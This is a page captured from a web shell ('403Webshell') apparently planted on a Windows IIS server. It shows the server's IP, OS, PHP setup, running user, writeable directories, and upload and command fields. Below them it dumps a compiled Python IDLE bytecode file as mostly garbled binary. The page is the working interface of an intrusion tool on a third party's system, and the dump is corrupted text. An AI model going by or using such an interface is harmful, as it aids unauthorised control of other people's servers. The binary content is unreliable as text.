403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.165
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/__pycache__/parenmatch.cpython-313.pyc
�

��i����SrSSKJr SSKJr SSSS.rSr"S	S
5r\R5 \	S:XaSSK
Jr \"S
SS9 gg)z�ParenMatch -- for parenthesis matching.

When you hit a right paren, the cursor should move briefly to the left
paren.  Paren here is used generically; the matching applies to
parentheses, square brackets, and curly braces.
�)�HyperParser)�idleConf�(�[�{��)�]�}�dc��\rSrSrSrSrSrSr\S5r	Sr
SrS	rS
r
SrSS
jrSrSrSrSr\\\\S.rSrSrSrg)�
ParenMatch�
a�Highlight matching openers and closers, (), [], and {}.

There are three supported styles of paren matching.  When a right
paren (opener) is typed:

opener -- highlight the matching left paren (closer);
parens -- highlight the left and right parens (opener and closer);
expression -- highlight the entire expression from opener to closer.
(For back compatibility, 'default' is a synonym for 'opener').

Flash-delay is the maximum milliseconds the highlighting remains.
Any cursor movement (key press or click) before that removes the
highlight.  If flash-delay is 0, there is no maximum.

TODO:
- Augment bell() with mismatch warning in status window.
- Highlight when cursor is moved to the right of a closer.
  This might be too expensive to check.
z<<parenmatch-check-restore>>)z
<KeyPress>z
<ButtonPress>z<Key-Return>z<Key-BackSpace>c��XlURUlURRURUR5 SUlSUlg)Nr)�editwin�text�bind�RESTORE_VIRTUAL_EVENT_NAME�
restore_event�counter�is_restore_active)�selfrs  �'C:\Python313\\Lib\idlelib\parenmatch.py�__init__�ParenMatch.__init__(sF�����L�L��	�	�����$�9�9��,�,�	.����!"���c��[R"SSSSS9Ul[R"SSSSSS	9Ul[R"SSS
SSS	9Ul[R
"[R"5S
5Ulg)N�
extensionsr�style�opener)�defaultzflash-delay�inti�)�typer!�bell�bool��hilite)r�	GetOption�STYLE�FLASH_DELAY�BELL�GetHighlight�CurrentTheme�
HILITE_CONFIG)�clss r�reload�ParenMatch.reload3s{���&�&���g�x�A��	�"�,�,��\�-�e�C�Q����%�%��\�&�v�q�J���$�1�1�(�2G�2G�2I�2:�<��rc��UR(dAURH)nURRURU5 M+ SUlgg)z5Activate mechanism to restore text from highlighting.TN)r�RESTORE_SEQUENCESr�	event_addr�r�seqs  r�activate_restore�ParenMatch.activate_restore>sB���%�%��-�-���	�	�#�#�D�$C�$C�S�I�.�%)�D�"�&rc��UR(aAURH)nURRURU5 M+ SUlgg)zRemove restore event bindings.FN)rr3r�event_deleterr5s  r�deactivate_restore�ParenMatch.deactivate_restoreEsB���!�!��-�-���	�	�&�&�t�'F�'F��L�.�%*�D�"�"rc�n�[URS5R5nURU5 g)zAHandle editor 'show surrounding parens' event (menu or shortcut).�insert�break)rr�get_surrounding_brackets�finish_paren_event)r�event�indicess   r�flash_paren_event�ParenMatch.flash_paren_eventLs/���t�|�|�X�6�,�,�.�	�����(�rc��URRS5nU[;ag[URS5nUR5(dgUR
[US5nURU5 g)zHandle user input of closer.z	insert-1cNT)r�get�_openersrr�
is_in_coder@rA)rrB�closer�hprCs     r�paren_closed_event�ParenMatch.paren_closed_eventSsg�������{�+����!��
����{�
3���}�}�����-�-�h�v�.>��E������(�rc�J�Uc,UR(aURR5 gUR5 URRURUR5"X5 UR(aUROUR"5 g�N)r+rr$r7�tagfuncsrGr)�create_tag_expressionr*�set_timeout_last�set_timeout_none�rrCs  rrA�ParenMatch.finish_paren_event`sq���?�t�y�y��I�I�N�N��������
�
���$�*�*�d�&@�&@�A�$�P�"&�"2�"2��	�	� �1�1�
2�	5rNc��URRS5 UR5 U=RS-
slg)zRemove effect of doing match.�parenr&N)r�
tag_deleter;r)rrBs  rr�ParenMatch.restore_eventks.���	�	���W�%����!������rc�D�XR:XaUR5 ggrO)rr)r�timer_counts  r�handle_restore_timer�ParenMatch.handle_restore_timerqs���,�,�&���� �'rc��URRSUS5 URRSUR5 g)z'Highlight the single paren that matchesrWrN)r�tag_add�
tag_configr.rTs  r�create_tag_opener�ParenMatch.create_tag_openerxs4���	�	���'�7�1�:�.��	�	���W�d�&8�&8�9rc��URRUS5S;a	USS-nOUSnURRSUSUSS-US-U5 URRSUR5 g)z#Highlight the left and right parensr&r�+1crWrz-1cN�rrGr_r`r.�rrC�
rightindexs   r�create_tag_parens�ParenMatch.create_tag_parens}sy���9�9�=�=����$��7� ���E�)�J� ���J��	�	���'�7�1�:�w�q�z�%�/?��E�AQ�S]�^��	�	���W�d�&8�&8�9rc���URRUS5S;a	USS-nOUSnURRSUSU5 URRSUR5 g)zHighlight the entire expressionr&rrdrWrNrerfs   rrQ� ParenMatch.create_tag_expression�sf���9�9�=�=����$��7� ���E�)�J� ���J��	�	���'�7�1�:�z�:��	�	���W�d�&8�&8�9r)r r!�parens�
expressionc���U=RS-
slXRURRS54SjnURRR[X5 g)zKHighlight will remain until user input turns it off
or the insert has movedr&r>c��X1RRS5:waURU5 gURRR[X5 g)Nr>)r�indexr\r�
text_frame�after�CHECK_DELAY)�callmer�crps    rrt�+ParenMatch.set_timeout_none.<locals>.callme�s=���	�	����1�1��)�)�!�,����'�'�-�-�k�6�JrN)rrrprrqrrrs)rrts  rrS�ParenMatch.set_timeout_none�sK��	
������ $���������2�	K�	
�����%�%�k�6�Brc��U=RS-
slURRRURXR4Sj5 g)zFThe last highlight created will be removed after FLASH_DELAY millisecsr&c�$�URU5$rO)r\)rrus  r�<lambda>�-ParenMatch.set_timeout_last.<locals>.<lambda>�s��d�.G�.G��.JrN)rrrqrrr*)rs rrR�ParenMatch.set_timeout_last�s>��	
�����������%�%�������J�	Lr)rrrrrO)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr3r�classmethodr0r7r;rDrLrArr\rarhrQrPrSrR�__static_attributes__�rrrr
s����("@��<��	#��<��<�*�+���	5��!�:�
:�:�$�$�#�+�	
�H�
C�Lrr�__main__)�mainz!idlelib.idle_test.test_parenmatch�)�	verbosityN)r��idlelib.hyperparserr�idlelib.configrrHrsrr0r}�unittestr�r�rr�<module>r�s]���,�#����$����bL�bL�J�����z����	,��:�r

Youez - 2016 - github.com/yon3zu
LinuXploit